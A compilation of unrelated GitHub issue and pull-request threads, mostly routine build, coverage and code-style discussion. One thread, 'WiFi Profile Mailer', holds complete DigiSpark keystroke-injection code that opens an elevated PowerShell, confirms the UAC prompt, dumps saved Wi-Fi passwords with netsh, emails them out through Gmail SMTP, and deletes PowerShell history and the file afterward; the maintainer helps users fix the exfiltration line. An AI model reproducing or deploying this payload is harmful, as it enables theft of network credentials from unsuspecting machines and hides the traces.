Using /home/jc/.local/lib/python2.7/site-packages
Searching for wget==3.2
Best match: wget 3.2
Adding wget 3.2 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for h5py==2.7.1
Best match: h5py 2.7.1
Adding h5py 2.7.1 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for scipy==1.0.0
Best match: scipy 1.0.0
Adding scipy 1.0.0 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for numpy==1.14.1
Best match: numpy 1.14.1
Adding numpy 1.14.1 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for matplotlib==2.1.2
Best match: matplotlib 2.1.2
Adding matplotlib 2.1.2 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for networkx==2.1
Best match: networkx 2.1
Adding networkx 2.1 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for PyWavelets==0.5.2
Best match: PyWavelets 0.5.2
Adding PyWavelets 0.5.2 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for cycler==0.10.0
Best match: cycler 0.10.0
Adding cycler 0.10.0 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for python-dateutil==2.6.1
Best match: python-dateutil 2.6.1
Adding python-dateutil 2.6.1 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for pytz==2018.3
Best match: pytz 2018.3
Adding pytz 2018.3 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for subprocess32==3.2.7
Best match: subprocess32 3.2.7
Adding subprocess32 3.2.7 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for backports.functools-lru-cache==1.5
Best match: backports.functools-lru-cache 1.5
Adding backports.functools-lru-cache 1.5 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for pyparsing==2.2.0
Best match: pyparsing 2.2.0
Adding pyparsing 2.2.0 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Searching for decorator==4.2.1
Best match: decorator 4.2.1
Adding decorator 4.2.1 to easy-install.pth file

Using /home/jc/.local/lib/python2.7/site-packages
Finished processing dependencies for tf-cnnvis==1.0.0
/home/jc/.local/lib/python2.7/site-packages/h5py/__init__.py:36: FutureWarning: Conversion of the second argument of issubdtype from `float` to `np.floating` is deprecated. In future, it will be treated as `np.float64 == np.dtype(float).type`.
  from ._conv import register_converters as _register_converters

jc@jc-15N540-UT50K:~/tf_cnnvis$ sudo python setup.py clean
running clean
Traceback (most recent call last):
  File "setup.py", line 67, in <module>
    'clean': CleanCommand,
  File "/home/jc/.local/lib/python2.7/site-packages/setuptools/__init__.py", line 129, in setup
    return distutils.core.setup(**attrs)
  File "/usr/lib/python2.7/distutils/core.py", line 151, in setup
    dist.run_commands()
  File "/usr/lib/python2.7/distutils/dist.py", line 953, in run_commands
    self.run_command(cmd)
  File "/usr/lib/python2.7/distutils/dist.py", line 972, in run_command
    cmd_obj.run()

I get error like that. could you explain more detail how to use this code?
thank you

Hi @jangjichang
Thanks for taking the time to point out this bug. We've fixed this in the latest commit. Clean should work too now. Please check
Thanks!


UseTLSScheme returns error when URL is empty

This is a fix for problems with building dcos-diagnostics on Windows.
See: https://jenkins.mesosphere.com/service/jenkins/job/public-dcos-diagnostics-windows/127/console
Refs: #68

@oprinmarius  can you take a look?

Codecov Report

Merging #71 into master will increase coverage by 0.04%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #71      +/-   ##
==========================================
+ Coverage    58.2%   58.25%   +0.04%
==========================================
  Files          18       18
  Lines        1785     1787       +2
==========================================
+ Hits         1039     1041       +2
  Misses        638      638
  Partials      108      108

Impacted Files
Coverage Δ

util/utils.go
62.85% <100%> (+2.25%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d8c3e5c...c9758a8. Read the comment docs.


Create a repo: aries-framework-kotlin

Please include:

GitHub repo to create: aries-framework-kotlin
Project to be added to: Aries
Teams with which access: (examples on GitHub team list)

Team name: only me, for now.

Additional request:

Please add a discord channel aries-framework-kotlin under Aries.

@ryjones I cannot see "Settings" menu on the kotlin repo. Could you adjust the permission? I need to test some options for github actions.


added passive event listeners support

With browsers like Chrome and Firefox supporting passive event listeners, this gives improved performance of the lazy loader.

Coverage decreased (-10.7%) to 79.268% when pulling 2b90e505c12ecafbe61f8e58ba2eb03f64fc1df8 on mchaov:master into aa5ebe9eb9630b6d1ee6746063c0c2a24c2d858f on jasonslyvia:master.

Lol, I never touched the file that fails the coverage tests :)

Hey, thanks for the PR, I'm currently busy these days, so it might take a few days till I can look into it.

@lidawang Cares to check this PR?

I took a peek, the code looks good! Thanks for contributing :)

Hey guys, you did a great job there. This is a minor perf improvement.


[FLINK-20348][kafka] Make "schema-registry.subject" optional for Kafka sink with avro-confluent format

…tional for Kafka sink with avro-confluent format
What is the purpose of the change
Autocomplete the schema-registry.subject by '-value' if not set by user in kafka/upsert-kafka connector when use avro-confluent format
Brief change log
(for example:)

Autocomplete the schema-registry.subject by '-value' if not set by user in kafka/upsert-kafka connector when use avro-confluent format

Verifying this change
This change added tests and can be verified as follows:
(example:)

testCompleteAvroConfluentSubject

Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes / no) no
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes / no)no
The serializers: (yes / no / don't know)no
The runtime per-record code paths (performance sensitive): (yes / no / don't know)no
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn/Mesos, ZooKeeper: (yes / no / don't know)no
The S3 file system connector: (yes / no / don't know)no

Documentation

Does this pull request introduce a new feature? (yes / no)no
If yes, how is the feature documented? (not applicable / docs / JavaDocs / not documented)no

We should also take key format into account, and support this feature for upsert-kafka too.

Besides, we can remove the optional schema-registry.subject option for some test now, e.g. the SQLClientSchemaRegistryITCase.

@flinkbot run azure

@flinkbot run azure

Hi @zhuxiaoshang, I append a commit to fix some problems and improved the tests. Please have a look. If you don't have other concerns, I will merge this once build is passed.

Hi @zhuxiaoshang, I append a commit to fix some problems and improved the tests. Please have a look. If you don't have other concerns, I will merge this once build is passed.

Hi @zhuxiaoshang, I append a commit to fix some problems and improved the tests. Please have a look. If you don't have other concerns, I will merge this once build is passed.

Thanks for your @wuchong review and tunes,it looks more perfect good now.
Two minor problems ：Java doc for class DefaultDynamicTableContext (cause Azure failure)
autocompleteSubject -> autoCompleteSubject

Hi @zhuxiaoshang, I append a commit to fix some problems and improved the tests. Please have a look. If you don't have other concerns, I will merge this once build is passed.

Thanks for your @wuchong review and tunes,it looks more perfect good now.
Two minor problems ：Java doc for class DefaultDynamicTableContext (cause Azure failure)
autocompleteSubject -> autoCompleteSubject

@flinkbot run azure

@flinkbot run azure

@flinkbot run azure

@flinkbot run azure


Passing ValidationBuilder() to validator has this error

Passing ValidationBuilder() to validator has this error:

This is my code:
  TextField(
                  controller: passwordController,
                  labelText: 'Password',
                  hintText: 'Password',
                  obscureText: true,
                  validator: ValidationBuilder().required().minLength(8).build(),
                ),

And I'm my custom TextField() is
class TextField extends StatelessWidget {
  final String labelText;
  final String hintText;
  final bool? obscureText;
  final TextEditingController controller;
  final FormFieldValidator? validator;

  const TextField({
    Key? key,
    required this.labelText,
    required this.hintText,
    this.obscureText,
    required this.controller,
    this.validator,
  }) : super(key: key);

  @override
  Widget build(BuildContext context) {
    return TextFormField(
      controller: controller,
      textInputAction: TextInputAction.next,
      decoration: InputDecoration(
        border: const OutlineInputBorder(),
        hintText: hintText,
        labelText: labelText,
      ),
      obscureText: obscureText ?? false,
      validator: validator,
    );
  }
}

@themisir If i pass this
final FormFieldValidator? validator;

with this,  It works.
final dynamic validator;

perhaps can change the type to
final FormFieldValidator<String>? validator;

@themisir If i pass this
final FormFieldValidator? validator;

with this, It works.
final dynamic validator;

Note that in every example given for this library, the .build() method is always called at the end of a validation chain. This method has the following shape:
String? Function(String?) build()

which is the same shape as the TextFormField's validator parameter.
You should change your prop from:
final FormFieldValidator? validator;

to:
final String? Function(String?)? validator;


Consider fixpack

https://github.com/henrikjoreteg/fixpack

will require ignoring the scripts section. We don't want that in alpha order because the notes will go out of place.


Add some notes about securing the agent when building untrusted commits.

I totally missed this! Thanks @solemnwarning!


VMs start running even if the db url/credentials is incorrect or db i…

…s unreachable for scheduler
[#149082123]

LGTM


Language

How can i switch the language?
I don´t know if it is possible because also I coudn´t find that option in the oficial api documentation.

Hi @Juan-Fruto
You can use elevenlabs_multilingual_v2 to use different languages. To do so, you can pass elevenlabs_multilingual_v2 to the modeId variable like so:
voice.textToSpeech({

    fileName:        "audio.mp3",                    // The name of your audio file
    textInput:       "Esto es español",             // The text you wish to convert to speech
    modelId:         "elevenlabs_multilingual_v2",   // The ElevenLabs Model ID

  }).then((res) => {
    console.log(res);
});

Docs: https://elevenlabs.io/docs/speech-synthesis/models#multilingual-v2


Fix object spread on body

Fixes #94 by enforcing a type check on the provided body; if it is an object, it's safe to do a spread with the default. Otherwise, it passes through as-is. Addresses the need to send strings, for instance.
Keep in mind I'm not normally a JavaScript developer and haven't been able to run automated tests locally, though I have tested this locally in so far as it fixes the problem described in the ticket.

I am working on this now

Released on npm as<EMAIL_ADDRESS>🎉


Remove  tags from markdown

I noticed there are a number of <br/> tags rendering as plaintext in this page's Markdown so I removed them.
Hope you don't mind and thanks for the great docs!

@KevinTCoughlin : Thanks for your contribution to the Azure documentation! The author, @trinadhk, has been notified to review your proposed change.

#sign-off

Thanks @trinadhk!


please clarify why '%' and not '/' is used in Window::keys_pressed

https://github.com/emoon/rust_minifb/blob/6d616640dc620f1c8ed81872ea1a1bde70248a2a/src/key_handler.rs#L119
Seems like you want to calculate a fraction here...

I actually don't remember. I think I wrote this code like 4 years ago :)


Fix IntelliJ config + change method parameters to align when multiline

The intelliJ config was broken, it failed to import in recent intellij versions.
This fixes that and it's pretty much the same style as it was back then.
It does have one noticeable change: align method parameters when multiline. This is against the original Java coding conventions:
http://www.oracle.com/technetwork/java/javase/documentation/codeconventions-136091.html#248
but it seems the majority prefers it this way (I 'd prefer to stick to the standard though :)).

Thanks @ge0ffrey
Personally I also prefer the following to "Wrap always" and "Align when multiline":-

"Extends/implements list"
"Method declaration parameters"
"Method call arguments"

(1) and (2) are purely cosmetic but IMO make it easier to identify super-class/interfaces and overloaded methods when scanning code quickly, (3) IMO makes debugging easier when you're stepping into the invoked method and the passed parameters are derived from other method calls e.g.
m.showMeTheMoney( getAgent(),
                  getPlayer() );

There's a few other tweaks I seem to have acquired (compared to this PR).. spaces in method calls and some others, e.g. w.smurftastic("pupa"); vs w.smurftastic( "pupa" );.
I fear nobody else is going to comment on this PR..

I fully agree with @ge0ffrey. I would prefer to stay with the standard when it comes to the align method parameters when multiline

@manstis I fear everybody's going to comment on this PR :) It's easy to have a strong opinion on code style ( https://www.youtube.com/watch?v=SsoOG6ZeyUI ).
When that happens, we 're going to try to design a code style by committee and this PR will never get merged and we'll be stuck with the original broken config file.

I'll merge this so we can at least import the style file. We can (and will) always argue about the nuances later :)

+1 (and it's 100% ok to leave out my second commit there ;)

Merged as https://github.com/droolsjbpm/droolsjbpm-build-bootstrap/commit/dc77c93f9d60507382831612f6ddf0024abba02a and https://github.com/droolsjbpm/droolsjbpm-build-bootstrap/commit/1d35e1062cc735557a2be7177361e988ef728218


Implement new tree-sitter CI workflow

          @sdankel you might be interested in https://github.com/tree-sitter/workflows, especially https://github.com/tree-sitter/workflows#ci-workflow

Originally posted by @clason in https://github.com/FuelLabs/tree-sitter-sway/issues/10#issuecomment-2466721046

@Utilitycoder Great, feel free to send a PR.


need to display a pop up window while clicking on the node , and export the content which is entered in the popup window

I need to add a new popup window while clicking the node. For example pop up window contain a text box to enter some data. while exporting the data the json also include the data given in the popup window

Use updateNodeDataFromId	 to save data on export.
Example:
editor.updateNodeDataFromId(5, { name: 'Drawflow' });

Update object data in node (7 position):
editor.addNode('github', 0, 1, 150, 300, 'github', data, html);

That works. Thank you so much


WiFi Profile Mailer: Issue with sending email

When I uploaded the code the code to open powers hell won't work. Once I changed it and it comes to send the email then powershell  gives me an error message and coldest and stops the code

@Apollo-config I don't know what you're saying about the arrow keys, I just leave them untouched - the scripts don't use the arrow keys anyways as far as I remember.
Also I assume you're using Gmail - did you lower account security in the settings so that you can send messages through the powershell?
If this didn't fix things please inform me which version of the script you are using and also post the error you're getting.

When the script tries to open admin powers shell it doesn't work it just ends it. (on the new version) once I fixed that the error message keeps quitting so I can't read it.

Anyways I just flashed my DigiSpark again to the new script and it seems to be working as intended.
So this probably means the issue is related to your setup. Two things come to mind that might help you: 1. If you're running on an older machine just increase the timings. Opening up powershell especially can take up quite some time on older machines using HDDs.
2. The script uses the ALT+Y combo to answer "Yes" to the Administrator rights prompt when launching powershell. It could be that maybe due to your keyboard layout (if you're using a non US one) this combo doesn't work. Now you can either change the Digispark's layout to yours to make it work (google it if you're interested) or edit the script and use the arrow keys and enter to answer yes to that prompt.

i am in the UK and the problem is with the line of code sending the email which seems to have errors  adding the attachment and the spaces between the different code e.g ~

That's strange, I've tested that line on a few computers and it doesn't seem to have issues.
Here's a few things to check:
Do you get an email in your inbox (even without an attachment)?
Make sure you have ENABLED Less Secure Access.
Run the Script and check if in your user folder there is a temp.csv file (that's the attachment).

i have no emails
ENABLED Less Secure Access
the file exists but nothing is written to it

You have to replace SENDER_MAIL and RECEIVER_MAIL with your email address.

//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_Y, KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('Wifi.Deauther' 'Apollo2003'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From =<EMAIL_ADDRESS>$ReportEmail.To.Add('Wifi.deauther@gmail.com'); $ReportEmail.Subjet = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report.

"C:\Users\user\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\4.8.1-arduino5/bin/avr-g++" -c -g -Os -w -fno-exceptions -ffunction-sections -fdata-sections  -w -x c++ -E -CC -mmcu=attiny85 -DF_CPU=16500000L -DARDUINO=10805 -DARDUINO_AVR_DIGISPARK -DARDUINO_ARCH_AVR  "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\cores\tiny" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\variants\digispark" "-IC:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard" "C:\Users\user\AppData\Local\Temp\arduino_build_564911\sketch\sketch_new_digispark.ino.cpp" -o "C:\Users\user\AppData\Local\Temp\arduino_build_564911\preproc\ctags_target_for_gcc_minus_e.cpp"
sketch_new_digispark:65: error: unterminated argument list invoking macro "F"
Using library DigisparkKeyboard in folder: C:\Users\user\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard (legacy)
exit status 1
unterminated argument list invoking macro "F"

Ok three things:
1st Chill it with the CAPS man
2nd Inside your code where your credentials - don't post these anywhere online, people could access your account. I've edited out your credentials on your above post and I now suggest you go ahead and change your password on the account just to be safe.
3rd As far as I understand you just took the script, modified the timings and the UAC bypass mechanism to work with the arrow keys instead of the ALT+Y combo so I see no reason it shouldn't work. The compile error came because of the modifications you made to the email line (you missed a quote and a comma). I've fixed that line, here you go:
 DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('USERNAME', 'PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From =<EMAIL_ADDRESS>$ReportEmail.To.Add('USERNAME@gmail.com'); $ReportEmail.Subjet = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)");
Hopefully it will compile now. Good luck.

Sorry about the caps the email is only for the project but I have changed the password just in case thanks for the help.
If I get the code working I will send you the code if you want to uploaded it as the UK version or non US keyboard version
Changed the caps.

Success I've got it

Enjoy!

Hello.
I have a problem with sending e-mail. Indeed mail doesn't even send. Noting. When I plug it in everything works.. going thru Power Shell etc, and when it closes it should send an e-mail?
Please help, Thanks.
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
//Credits to p0wc0w.
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
//of Windows or simply older builds of Windows 10, the other version works like a charm.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\temp.csv;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object<EMAIL_ADDRESS>'I deleted it for forum'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From =<EMAIL_ADDRESS>$ReportEmail.To.Add('whereaimilol@gmail.com'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}

Hello,
I seem to be encountering the same problem but mine is in the power shell window when it try's to send the email, I've attached the image of the power shell windows is yours in the same place or somewhere else

Is my scrip ok, or is it wrong :/

I seem to be getting this error message

I can't see whats wrong with your script but i have opened an issue are you using it in the uk or in another country


refactor: Add type safety

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 100.00%. Comparing base (f076c99) to head (641b945).

Additional details and impacted files
@@            Coverage Diff            @@
##              main       #26   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            5         5
  Lines          163       166    +3
=========================================
+ Hits           163       166    +3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


add a package com.kazurayam.materialstore.materialize where URLDownloader and URLMaterialzier to be included

In the materialstore-mapper v0.1.2-SNAPSHOT I created 2 utility classes

com.kazurayam.materialstore.mapper.URLDownloader
com.kazurayam.materialstore.mapper.URLMaterializer

These are useful for any projects that depends on the materialstore project. So I should move these 2 classes into a new package

com.kazurayam.materialstore.materialize

done  at v0.4.7


New Section on Website to List Contributing Developers

Display a list of contributing developers to WeJustDevelop website as a new section, data should come from the the github api.

Added contributors section
#21


Support defconfig merge

Summary
I've added two scripts that can reference the config snippets in different ways

process_config allows the use of #include statements in defcnfig, which can reference other config files
merge_config supports merging multiple config files into one
./tools/merge_config.py -o defconfig .config1 .config2

Impact
Testing

How to split and update statements of defconfig separately?
Merge feature depends on kconfig right? Why are there two scripts one is shell and the other is python? I think using python for both has better platform compatibility.

How to split and update statements of defconfig separately?
We cannot split into multiple fragments from already merged files

Merge feature depends on kconfiglib right? Why are there two scripts one is shell and the other is python? I think using python for both has better platform compatibility.

merge_config.py:
It has the same function as merge_config in Linux, except that we use python to implement it.、
process_config.sh:
It is actually a simplified preprocessor that only supports include statements.
Because the gcc preprocessor cannot recognize comments starting with #, we use a shell script to implement this function.
My first version was implemented using python, but in order to avoid relying on python during compilation I changed it to a shell script

We cannot split into multiple fragments from already merged files

without split feature, the developer will not be able to correctly tell which configuration needs to be placed in the appropriate place

Because the gcc preprocessor cannot recognize comments starting with #, we use a shell script to implement this function. My first version was implemented using python, but in order to avoid relying on python during compilation I changed it to a shell script

Please also upload the python version, which can be implement this feature on native windows

let's provide python version later, because:

All mainline defconfig doesn't use merge functionality yet
it seldom to build nuttx on Windows without shell environment

I agree it is better not depending on python and the implementation should work for both kconfig-frontends and kconfiglib!
@Gary-Hobson please include some usage instructions at Documentation/ to avoid it becoming a hidden feature

I agree it is better not depending on python and the implementation should work for both kconfig-frontends and kconfiglib!
@Gary-Hobson please include some usage instructions at Documentation/ to avoid it becoming a hidden feature

Done


The baseline reproduction result is wrong

OISST dataset:
DDPM test results for SST:
test/50ens_mems/avg/mse=1211.059
test/50ens_mems/avg/crps=24.399
test/50ens_mems/avg/ssr=2.479
The results of the two repeated experiments are almost the same
But for Dyffusion and MCVD, I can reproduce the results similar to those in the paper according to your code
I would like to ask how to reproduce the results of DDPM
Secondly, do you have the corresponding codes for the other two baselines Dropout and Perturbation in your project?
I am a beginner and hope to get your help.

What about spring-mesh? I can not reproduce the results of Dyffusion.

Hi and thanks for your comments!
To better understand why this is happening, could you share the config that you're using (i.e. the hydra_config.yaml file)?
I must say that I didn't re-run the DDPM baseline after cleaning up the code, so the default hyperparameters might not be optimal. For example, using fewer diffusion steps (e.g. diffusion.timsteps=5) was important for some datasets. Did you do this?
For the dropout baseline, use the <dataset>_time_conditioned.yaml configs in configs/experiment/.
For the perturbation baseline, simply train a deterministic model (module.enable_inference_dropout=False) and run inference/tests setting module.prediction_inputs_noise=EPS for EPS>0.
`

Thank you for your reply, this is my configuration
hydra_config-v2.zip


Assign Calendar Entry

As a user, I want to be able to assign a calendar event to a Flattie group member so that all Flattie group members can see who is responsible for an event

Add Calendar Entry Activity #58

Add Calendar Entry Implementation #61


Print env vars before execution

I really like how Datagen's script prints the relevant environment variables before execution: https://github.com/ldbc/ldbc_snb_datagen/blob/5da782230478f6b8ffb7fd0bd0a137c6d4a65d3c/run.sh#L21-L28
echo Running generator with the following parameters:
echo -------------------------------------------------------------------------------
echo LDBC_SNB_DATAGEN_HOME: $LDBC_SNB_DATAGEN_HOME
echo JAVA_HOME: $JAVA_HOME
echo HADOOP_HOME: $HADOOP_HOME
echo HADOOP_CLIENT_OPTS: $HADOOP_CLIENT_OPTS
echo ===============================================================================

Implementations (incl. create validation, validate, benchmark, and load scripts) should do the same.

The Cypher implementation now does this and exits if any variable in unset.

The Postgres implementation also does some checks, introduced in 2cbe65e9476be8646752da2245635f0bd60fa694.


Integrated with Direct Message Instagram

Hello it is possible this repo can read direct message from Instagram Account. So the message can be post it on Threads, maybe with some filter like if the Account is followed by Instagram/Threads and filter message.
Im happy if it can. Thank you✌

This is probably something to be in Built with, I don't think this should part of threads-api as it's not related to threads.

I think it's kinda out of scope for this library as this primarily focuses on threads. There are other libraries that focus on the Instagram API like this one so I don't think there is any purpose in reinventing the wheel:
https://github.com/dilame/instagram-private-api
You can write a simple node js or deno program using both of these libraries together to achieve what you are looking for.
But ultimately it depends on what the other contributors think!

I agree that it feels out of the scope of the API. Sounds more like a "Built with" option.


more accuracy around why to use ASAR

'protect' implies a lot more security than ASAR provides (none). I asked around #2374 to get some understanding of what ASAR does do for you.

Looks good to me, thanks!


Moving noex::TableAdmin::CreateTable to TableAdmin::CreateTable

This is first request in a series of pull requests to move functions from noex:;TableAdmin to TableAdmin. Check #2098 for more details.

This change is

@coryan
PTAL


cpp: Use asio headers provided by websocketpp

Public-Facing Changes
None
Description
Fixes CPP build errors

Does this need to be updated on https://github.com/conan-io/conan-center-index/blob/master/recipes/foxglove-websocket/all/conanfile.py as well?

Not in the current version, but I have added it to https://github.com/conan-io/conan-center-index/pull/16500


Miso scaffolding

I'd like this for miso, would be cool to have the following wrapped-up in one command:

Login / Register views
User / Session tables (custom provider)
Password hashing w/ scrypt
OAuth (login w/ fb / twitter / google, etc.) (OAuth provider)
Cookie / JWT (ala servant-auth)
Deployment scripts config.nix / module.nix (free SSL certs via letsencrypt.org) w/ nginx

see miso/examples/haskell-miso.org for these

Uses pre-rendering (isomorphic) on both authenticated / unauthenticated endpoints.

Will need to disable CSRF token check on GET in servant-auth for this.

Bulma (https://bulma.io) - css only framework via CDN.
Logos from https://thenounproject.com
Icons from https://fontawesome.com

Choosing which db library to use will be tough, have heard good things about beam though... acid-state with the remote backend could be an option. Either way making a Context datatype (like a mock of db operations to get inversion of control) would be ideal. So the user could swap out backend implementations.
data Context
  = Context
  { updateUser :: (User -> User) -> IO ()
  , getWidgetsByUserId :: UserId -> IO [Widget]
  }
  -- etc..

But yea, a scaffolding using nix would be ideal, where the user could just do a nixops deploy would be huge.

Miso was actually the first front-end I wanted to use, but I'm building this mostly internally right now for some Elm apps. It is quite hacked together ATM (as you can probably see by the turtle script), but I would love all that you suggested. I am not very familiar with deployment scripts via nix but I'll start studying them as that does seem preferable. Responses to other points:

Login/Register views - Definitely going to do this for all front-ends. Am debating allowing a 3rd party service here (like firebase auth) but potentially creates a lot of moving pieces and a simple servant auth with username and password is probably the ideal starting place. I have also had really bad experiences some 3rd party services (cough cough Auth0)

User/Session tables - Agreed. I also want to auto build an Admin part with accompanying GUI for creating Users etc

Cookie / JWT - Yes, I plan on doing this with servant-auth. Again, still debating allowing 3rd party integration

Isomorphic - I'll leave that to you as I know that's one of Miso's specialties ;)

Bulma- Yes, though I'm weird and actually like building custom frameworks with Flex in css, though I have some of my own prebuilt ones with Elm Css that I will use there. Definitely think that could be a good option for any of them

Re DB - You're telling me, I used Opaleye in production with my last company and - though it is very powerful - it is loaded with boilerplate. From the looks of it, Selda to me looks like the cleanest API with the best feature set. Funny enough, as you were writing this I saw your selda-servant repo and I am just now playing with how it will interact with Selda (there is a github issue open for it currently)
I'm not sure about Beam - have seen it before but can't remember where I landed on it.
The Context type is exactly what I was thinking....will see how well it works in practice
One other thing I'm adding to the roadmap is an auto built GUI for one click deployments and doing things like capturing db stats before and after. Have a lot of ideas around that
